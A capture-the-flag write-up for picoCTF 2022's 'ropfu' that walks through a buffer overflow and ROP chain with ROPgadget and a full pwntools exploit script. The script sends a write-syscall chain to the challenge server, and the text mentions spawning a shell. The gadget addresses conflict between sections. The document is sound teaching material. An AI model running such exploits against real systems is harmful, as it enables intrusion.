ropfu picoCTF 2022 Solution

Published: July 20, 2023

Description

No win() function this time - you must build a Return-Oriented Programming (ROP) chain from gadgets already present in the binary to call a system write or execve to print the flag.

ROP chains work by chaining small code snippets ('gadgets') ending in ret, each setting up registers or performing operations, ultimately executing a syscall.

Download the binary. Check mitigations with checksec.

Install ROPgadget: pip install ropgadget.

Find useful gadgets and build the chain.

bash
wget https://artifacts.picoctf.net/c/327/vuln && chmod +x vuln
bash
checksec --file=vuln
bash
ROPgadget --binary vuln | grep -E 'pop|syscall|int 0x80'

For the underlying mechanics of stitching gadgets together when there's no libc to lean on, see the ROP Chain Without libc guide. For pwntools idioms used in the script below (ELF, p32, remote), see Pwntools for CTF.

  1. Step 1Enumerate ROP gadgets
    Use ROPgadget to find pop/ret sequences for each register you need to control (EAX for syscall number, EBX for arg1, ECX for arg2, EDX for arg3).
    bash
    ROPgadget --binary vuln --rop | grep 'pop eax ; ret'
    bash
    ROPgadget --binary vuln --rop | grep 'pop ebx ; ret'
    bash
    ROPgadget --binary vuln --rop | grep 'int 0x80'
    bash
    ROPgadget --binary vuln --rop | grep 'pop ecx ; pop edx ; ret'

    Each ROPgadget output line maps directly to a Python literal in the chain:

    $ ROPgadget --binary vuln --rop | grep 'pop ebx ; ret'
    0x0805399e : pop ebx ; ret
    
    # becomes:
    payload += p32(0x0805399e)
    payload += p32(1)            # value popped into ebx
    Learn more

    A ROP gadget is a short sequence of instructions ending with a ret (return) instruction. By overwriting the stack with a sequence of gadget addresses (each followed by its arguments), you chain the gadgets: ret pops the next address off the stack into EIP, executing the next gadget.

    For a 32-bit Linux write(1, buf, len) syscall you need:

    • pop eax; ret with value 4 (syscall number for write)
    • pop ebx; ret with value 1 (fd = stdout)
    • pop ecx; ret with the address of the flag buffer
    • pop edx; ret with the length to print
    • int 0x80 (trigger the syscall)

    NX (No-eXecute) prevents injecting and running shellcode, but it cannot stop ROP because ROP reuses existing executable code. Defeating ROP requires ASLR + no info-leak (you cannot find gadget addresses), plus CFI (Control Flow Integrity) which restricts valid branch targets.

  2. Step 2Locate the flag and derive the overflow offset
    Two pieces of intel before you build the chain: where the flag string lives in the binary, and how far past the buffer your input has to go before it overwrites EIP.
    bash
    objdump -t vuln | grep -i flag
    bash
    strings -tx vuln | grep -i pico
    bash
    cyclic 80 | nc saturn.picoctf.net <PORT_FROM_INSTANCE>
    bash
    # read the crashed EIP value from a core dump or gdb, then:
    bash
    cyclic -l 0x6161616c  # prints the offset

    For the flag address, objdump -t vuln | grep flag lists any symbol whose name contains "flag". If the binary stores the literal flag string in a fixed section, strings -tx vuln | grep pico returns the file offset:

    $ objdump -t vuln | grep -i flag
    0804c060 g     O .bss   00000040  flag
    $ strings -tx vuln | grep pico
       2050 picoCTF{...}

    Use the symbol address (0x0804c060) directly for the ecx argument to write.

    For the offset to EIP, send a cyclic pattern instead of guessing:

    $ cyclic 80
    aaaabaaacaaadaaaeaaafaaagaaa...
    $ python3 -c "from pwn import *; p=process('./vuln'); p.sendline(cyclic(80)); p.wait()"
    $ dmesg | tail -1   # or open the core file in gdb
    ... eip 0x6161616c ...
    $ python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161616c))"
    44

    That 44 is the value to use as OFFSET in the payload.

    Learn more

    For a write() syscall approach, you need the address of a buffer containing the flag data. If the binary reads the flag into a global buffer (common in CTFs), you can find its address from the BSS section.

    Alternatively, if the flag is in a file (flag.txt), you can build a more complex ROP chain that calls open(), read(), then write() - or just call execve("/bin/sh", NULL, NULL) to spawn a shell and read the file manually.

    strings -t x prints the offset (in hex) of each string within the binary. Combined with the binary's load address (from objdump), you can compute the runtime virtual address.

  3. Step 3Build and send the ROP chain with pwntools
    Assemble the gadgets and arguments into the payload. Pad to the offset, then append the ROP chain.
    python
    python3 -c "
    from pwn import *
    
    elf = ELF('./vuln')
    rop = ROP(elf)
    
    # Find gadgets (adjust addresses to what ROPgadget found)
    pop_eax = 0x0805399e   # pop eax ; ret
    pop_ebx = 0x08049022   # pop ebx ; ret
    pop_ecx_edx = 0x08049e39  # pop ecx ; pop edx ; ret
    int_0x80 = 0x080494b6  # int 0x80
    
    # Address of flag buffer in BSS / data
    flag_buf = elf.bss(0x50)  # or a hardcoded address
    
    OFFSET = 44  # offset to EIP
    
    payload  = b'A' * OFFSET
    payload += p32(pop_eax)
    payload += p32(4)          # sys_write = 4
    payload += p32(pop_ebx)
    payload += p32(1)          # fd = stdout
    payload += p32(pop_ecx_edx)
    payload += p32(flag_buf)   # buf address
    payload += p32(50)         # length
    payload += p32(int_0x80)
    
    p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    p.sendlineafter(b':', payload)
    print(p.recvall().decode(errors='replace'))
    "
    Learn more

    The ROP chain above calls write(1, flag_buf, 50) using int 0x80 (32-bit Linux syscall interface). The chain sets each register with a pop gadget, then executes the syscall. Each gadget's ret pops the next address from the stack, advancing through the chain.

    In practice, finding the right gadgets requires iterating through ROPgadget's output and matching what's available. Not every binary has every combination - you may need to combine multiple gadgets creatively (e.g., use pop eax; pop ebx; ret if individual pops aren't available).

    pwntools' built-in ROP class (rop.syscall(4, 1, flag_buf, 50)) can automate gadget selection if the binary has enough gadgets. For lean binaries, manual gadget assembly is necessary.

Flag

picoCTF{ROP_1t_d0nt_st0p_...}

Build a ROP chain: pop eax=4 (write), pop ebx=1 (stdout), pop ecx=flag_addr, pop edx=length, int 0x80. No win() needed - gadgets from the binary do the work.

Want more picoCTF 2022 writeups?

Tools used in this challenge

Related reading

What to try next